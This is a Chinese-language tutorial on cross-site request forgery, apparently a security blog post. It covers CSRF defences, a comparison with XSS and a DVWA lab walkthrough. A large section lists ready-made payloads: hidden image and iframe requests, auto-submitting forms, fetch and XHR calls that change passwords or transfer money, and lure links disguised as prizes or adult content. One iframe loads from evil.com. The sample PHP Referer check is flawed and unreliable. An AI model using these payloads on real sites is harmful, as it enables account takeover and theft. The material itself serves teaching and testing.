CSRF漏洞定义

CSRF(Cross-site request forgery),即跨站请求伪造

  • 用户登录信任的网站 A,并生成本地 cookie
  • 用户未登出网站 A,cookie 并未失效
  • 用户访问恶意网站 B,网站 B 页面发起对网站 A 的请求
  • 用户访问网站 B 时携带了网站 A 的 cookie,网站 A 在不知情情况下接收并执行了恶意请求

CSRF的发现与检测

  1. 在敏感网站抓包
  2. 在其他网站重发请求

CSRF的检测工具

  • Burp Suite
  • CSRFTester

CSRF常用payload

CSRF攻击通过诱导用户在已登录状态下执行恶意请求。以下是常见的payload构造方法,按触发方式分类。

自动触发型(无需用户交互)

图片标签GET请求

使用<img>标签自动加载资源,触发GET请求。图片设置为0x0像素隐藏。

1
2
<!-- 转账示例:将1000元转给攻击者账户 -->
<img src="http://target.com/transfer?amount=1000&to_account=hack" width="0" height="0" alt="">

特点

  • 浏览器自动加载,无需用户操作
  • 适用于GET请求的敏感操作
  • 服务器响应会被忽略

Iframe内嵌

使用<iframe>内嵌恶意页面,自动执行请求。

1
2
<!-- 隐藏iframe执行POST请求 -->
<iframe src="http://target.com/change_password?new_pass=hacked" style="display:none;"></iframe>

特点

  • 可执行复杂请求
  • 完全隐藏,用户不可见

用户交互型(需要点击)

诱导链接

伪装成正常链接,诱导用户点击执行GET请求。

1
2
3
4
<!-- 伪装成在线聊天链接 -->
<a href="http://target.com/transfer?amount=5000&to_account=evil" target="_blank">
🔥 热门在线聊天室 - 点击进入 🔥
</a>

特点

  • 需要用户主动点击
  • 可伪装成各种诱人内容
  • 支持_blank在新标签打开

按钮诱导

使用按钮或表单伪装,诱导用户点击提交。

1
2
3
4
<!-- 伪装成抽奖按钮 -->
<button onclick="location.href='http://target.com/delete_account?confirm=yes'">
🎁 点击领取奖品 🎁
</button>

自动表单提交(POST请求)

隐藏表单自动提交

构建隐藏表单,页面加载时自动提交POST请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- 自动提交转账表单 -->
<form action="http://target.com/transfer" method="POST" id="csrf_form">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="recipient" value="attacker">
<input type="hidden" name="csrf_token" value=""> <!-- 如果有token,可尝试绕过 -->
</form>

<script>
// 页面加载后自动提交
window.onload = function() {
document.getElementById('csrf_form').submit();
};
</script>

特点

  • 支持POST请求
  • 可包含多个参数
  • 自动执行,无需用户操作

XMLHttpRequest异步请求

使用JavaScript发送异步请求,适用于现代Web应用。

1
2
3
4
5
6
7
<script>
// 发送POST请求修改密码
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.com/change_password', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('new_password=hacked123&confirm_password=hacked123');
</script>

特点

  • 适用于AJAX应用
  • 可设置自定义头部
  • 异步执行,不阻塞页面

Fetch API请求

使用现代Fetch API发送请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
// 使用Fetch发送JSON请求
fetch('http://api.target.com/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
amount: 2000,
to: 'attacker_account'
})
});
</script>

高级payload技巧

组合攻击

1
2
3
<!-- 结合多种方法 -->
<img src="http://target.com/log_action?action=csrf_attempt" width="0" height="0">
<iframe src="http://evil.com/csrf_form.html" style="display:none;"></iframe>

绕过Content-Type检查

1
2
3
4
<!-- 尝试不同Content-Type -->
<form action="http://target.com/api/transfer" method="POST" enctype="text/plain">
<input type="hidden" name='{"amount":1000,"to":"attacker"}' value="">
</form>

针对JSON API

1
2
3
4
5
6
7
8
<script>
// 针对RESTful API
fetch('/api/user/profile', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
</script>

Payload构造注意事项

  1. 参数完整性:确保所有必需参数都包含
  2. CSRF Token处理:如果目标有token防护,需要想办法绕过或获取
  3. 请求方法:优先使用目标支持的方法(GET/POST)
  4. 隐藏技巧:使用CSS隐藏元素,避免用户察觉
  5. 诱导设计:让payload看起来像正常内容

测试Payload

在构造payload时,建议先在本地测试:

1
2
<!-- 测试用payload -->
<img src="http://httpbin.org/get?test=csrf" width="0" height="0">

通过httpbin.org等服务验证请求是否成功发送。

CSRF防御

CSRF防御是Web安全的重要组成部分,需要多层次的防护策略。以下是详细的防御方法和技术实现。

Referer验证

原理

HTTP请求头Referer由浏览器自动添加,表示当前请求的来源页面。通过检查Referer是否来自可信域名来防止CSRF攻击。

实施方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// PHP示例
$allowed_referers = ['https://trusted-site.com', 'https://app.trusted-site.com'];

function checkReferer() {
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$host = parse_url($referer, PHP_URL_HOST);

foreach ($allowed_referers as $allowed) {
if (strpos($allowed, $host) !== false) {
return true;
}
}
return false;
}

if (!checkReferer()) {
die('Invalid referer');
}

优缺点

优点

  • 实现简单,无需修改前端代码
  • 对用户透明,无额外交互

缺点

  • Referer可能被浏览器或代理过滤
  • HTTPS页面Referer可能为空
  • 容易被绕过(修改Referer头)

绕过方法及防护

  • 绕过:攻击者可使用meta标签刷新页面或通过代理隐藏Referer
  • 防护:结合其他防御方法,Referer作为辅助验证

Token验证(推荐)

原理

服务端生成随机Token,嵌入表单或请求中。客户端提交时必须携带正确Token,服务端验证Token有效性和唯一性。

实施方法

1. Token生成

1
2
3
4
5
6
7
8
9
10
11
12
# Python Flask示例
import secrets
import hashlib

def generate_csrf_token():
# 生成随机token
token = secrets.token_hex(32)
# 可选:与session绑定
session_token = session.get('csrf_token')
if not session_token:
session['csrf_token'] = token
return session['csrf_token']

2. 前端嵌入

1
2
3
4
5
6
<!-- HTML表单 -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="text" name="amount">
<button type="submit">Transfer</button>
</form>

3. 服务端验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def validate_csrf_token(request_token):
session_token = session.get('csrf_token')
if not session_token or not request_token:
return False

# 验证token匹配
if not secrets.compare_digest(session_token, request_token):
return False

# Token使用后销毁(可选)
del session['csrf_token']
return True

@app.route('/transfer', methods=['POST'])
def transfer():
if not validate_csrf_token(request.form.get('csrf_token')):
return 'CSRF token invalid', 403
# 处理转账逻辑

Token类型

  • Session Token:与用户会话绑定
  • Double Submit Cookie:Token同时存储在cookie和表单中
  • Synchronizer Token:服务端维护Token状态

优缺点

优点

  • 安全性高,难以绕过
  • 适用于所有请求类型

缺点

  • 需要修改前端代码
  • 增加服务器状态管理复杂度

二次验证

验证码(CAPTCHA)

  • 文本验证码:用户输入显示的字符
  • 图片验证码:识别扭曲文字
  • 行为验证码:滑动、点击验证
1
2
3
4
5
6
7
8
9
// Google reCAPTCHA v3集成
<script src="https://www.google.com/recaptcha/api.js?render=your_site_key"></script>
<script>
grecaptcha.ready(function() {
grecaptcha.execute('your_site_key', {action: 'transfer'}).then(function(token) {
document.getElementById('recaptcha_token').value = token;
});
});
</script>

密码验证

敏感操作要求重新输入密码。

1
2
3
4
5
6
7
8
// PHP密码验证
if ($_POST['action'] === 'delete_account') {
$password = $_POST['confirm_password'];
if (!password_verify($password, $user['password_hash'])) {
die('Password incorrect');
}
// 执行删除操作
}

生物识别

  • 指纹识别
  • 人脸识别
  • 语音验证

优缺点

优点

  • 强验证,防止自动化攻击
  • 用户感知明显

缺点

  • 影响用户体验
  • 可能被绕过(OCR等)

SameSite Cookie属性

原理

Cookie的SameSite属性控制跨站请求是否携带Cookie。

配置方法

1
2
3
4
// 设置SameSite
Set-Cookie: session_id=abc123; SameSite=Strict
Set-Cookie: session_id=abc123; SameSite=Lax // 默认值
Set-Cookie: session_id=abc123; SameSite=None; Secure // 跨站允许

SameSite值

  • Strict:完全阻止跨站请求携带Cookie
  • Lax:允许顶级导航(如链接点击)
  • None:允许所有跨站请求(需HTTPS)

兼容性

  • Chrome 80+ 默认Lax
  • Safari 12+ 支持
  • Firefox 69+ 支持

Origin头检查

原理

检查OriginHost头是否来自可信来源。

1
2
3
4
5
6
7
8
9
10
// 检查Origin头
const allowedOrigins = ['https://trusted-site.com'];

function checkOrigin(origin) {
return allowedOrigins.includes(origin);
}

if (!checkOrigin(request.headers.origin)) {
return 403;
}

与Referer区别

  • Origin更可靠(不包含路径)
  • HTTPS下更安全

自定义头部验证

原理

要求请求包含自定义HTTP头部,只有同源请求能设置。

1
2
3
4
5
6
7
8
9
// 前端设置自定义头
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Protection': 'enabled'
},
body: formData
});
1
2
3
4
5
6
7
# 服务端验证
def check_custom_headers(request):
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
return False
if request.headers.get('X-CSRF-Protection') != 'enabled':
return False
return True

组合防御策略

多层防护

  1. 主要防御:Token验证
  2. 辅助防御:Referer检查 + SameSite Cookie
  3. 敏感操作:二次验证

实施指南

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 前端防御组合
function submitForm(form) {
// 添加Token
form.csrf_token.value = getCsrfToken();

// 添加自定义头
const xhr = new XMLHttpRequest();
xhr.setRequestHeader('X-CSRF-Protection', 'enabled');

// 提交前验证
if (!validateForm(form)) {
return false;
}

return true;
}

框架内置防护

  • Django{% csrf_token %}标签
  • Spring Security:自动Token管理
  • Express.js:csurf中间件
1
2
3
4
5
6
7
// Express.js CSRF防护
const csrf = require('csurf');
app.use(csrf({ cookie: true }));

app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});

防御最佳实践

1. 风险评估

  • 识别敏感操作(转账、密码修改、删除)
  • 根据风险等级选择防御强度

2. 开发规范

  • 所有状态改变请求必须验证
  • 避免GET请求执行敏感操作
  • 使用HTTPS强制传输

3. 测试验证

  • 单元测试CSRF防护逻辑
  • 集成测试跨站请求场景
  • 定期安全审计

4. 监控告警

  • 记录CSRF尝试
  • 异常检测和告警
  • 定期审查日志

5. 用户教育

  • 避免点击可疑链接
  • 及时登出账户
  • 使用密码管理器

常见误区

  1. 只依赖Referer:容易绕过,应作为辅助
  2. 忽略JSON API:API请求也需要CSRF防护
  3. Token重用:每个请求使用唯一Token
  4. 忽略子域名:检查完整域名匹配

通过实施这些深度防御措施,可以有效防止CSRF攻击,保护用户账户安全。

CSRF与XSS的区别

虽然CSRF(跨站请求伪造)和XSS(跨站脚本攻击)都是常见的Web安全漏洞,且都与“跨站”相关,但它们在原理、利用方式和影响上有着本质区别。理解两者的差异有助于更好地防范和应对。

定义对比

  • CSRF:攻击者诱导用户在已认证状态下执行非预期操作,利用用户的身份权限进行恶意请求
  • XSS:攻击者向网页注入恶意脚本,当用户浏览页面时执行,窃取用户信息或执行其他操作

攻击原理

方面 CSRF XSS
触发方式 诱导用户访问恶意页面,自动发送请求 注入恶意脚本到页面,用户浏览时执行
利用对象 用户的认证状态(Cookie等) 用户的浏览器环境
执行主体 服务器端处理用户请求 客户端浏览器执行脚本
权限依赖 依赖受害者的登录状态 不需要受害者登录

利用方式

CSRF利用特点

  • 通过构造恶意链接或表单诱导用户点击
  • 利用浏览器自动发送Cookie的行为
  • 攻击者无法直接获取响应内容
  • 常用于状态改变操作(如转账、修改密码)

XSS利用特点

  • 通过输入字段注入脚本代码
  • 脚本在受害者浏览器中执行
  • 可以窃取Cookie、Session等敏感信息
  • 可以修改页面内容或重定向用户

影响范围

CSRF影响

  • 用户数据:修改、删除用户数据
  • 账户安全:转账、修改密码、删除账户
  • 系统操作:执行管理员操作(如批量删除)
  • 间接影响:通过用户权限间接影响系统

XSS影响

  • 信息泄露:窃取用户凭证、个人数据
  • 会话劫持:控制用户会话
  • 钓鱼攻击:伪造页面诱导输入敏感信息
  • 蠕虫传播:在社交平台自动传播

防御措施对比

CSRF防御重点

  • Token验证(推荐)
  • Referer检查
  • SameSite Cookie
  • 二次验证(敏感操作)

XSS防御重点

  • 输入过滤和转义
  • Content Security Policy (CSP)
  • HttpOnly Cookie
  • 输出编码

实际案例对比

CSRF案例

  • 银行转账:诱导用户点击链接,转走账户资金
  • 社交平台:自动发布恶意内容或关注攻击者
  • 电商平台:修改收货地址或取消订单

XSS案例

  • 论坛系统:注入脚本窃取其他用户Cookie
  • 搜索框:反射型XSS弹出恶意窗口
  • 评论系统:存储型XSS影响所有浏览者

检测与测试

CSRF检测

  • 检查状态改变请求是否有CSRF防护
  • 构造跨站请求测试是否执行
  • 分析Cookie依赖的操作

XSS检测

  • 测试输入字段是否过滤特殊字符
  • 检查输出是否正确转义
  • 验证CSP策略是否生效

总结

特性 CSRF XSS
本质 请求伪造 脚本注入
受害者 已登录用户 所有浏览者
攻击目标 服务器操作 客户端数据
防御重点 请求验证 输入输出控制
影响程度 中等(操作执行) 高(信息泄露)

DVWA靶场实战

理解CSRF与XSS的区别有助于开发人员选择合适的防御策略。在实际应用中,往往需要同时防范两种攻击,以确保Web应用的安全性。

用1337/charley登录DVWA靶场,找到CSRF关卡,我用的靶场等级为low

页面功能为修改密码,我们尝试将密码修改为123456,并抓包,提交方式为GET,只要拿到修改的代码参数就能进行伪造

我做了两个比较刺激的html页面

当你在浏览器中访问index.html,没忍住诱惑,点击了网页中的链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--index.html-->
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>让人无法抵挡</title>
</head>

<body align="center">
<h1><font>你正在浏览P站</font></h1>
<br/><br/><br/><br/><br/><br/>
美女荷官,在线发牌<br/><br/>
<a href="./out.html">[hot!!!]美女在线视频邀请,点击接受</a><br/><br/>
</body>

</html>

浏览器会跳到out.html中,在out.html内置好了请求参数,将1337用户的密码改为654321

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--out.html-->
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>

<h1><font>你正在访问P站</font></h1>
<img src="yellow.jpg" width="300px" height="250px">
<img src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=654321&password_conf=654321&Change=Change#" width="0" height="0">
<h1><font color="#F9971C">美死你呢,回去学习!!!</font></h1>

<body align="center">
</body>
</html>

这个时候你再回去,发现1337账号的密码已经被改了,登录不上去了

总结:拒绝诱惑,别乱点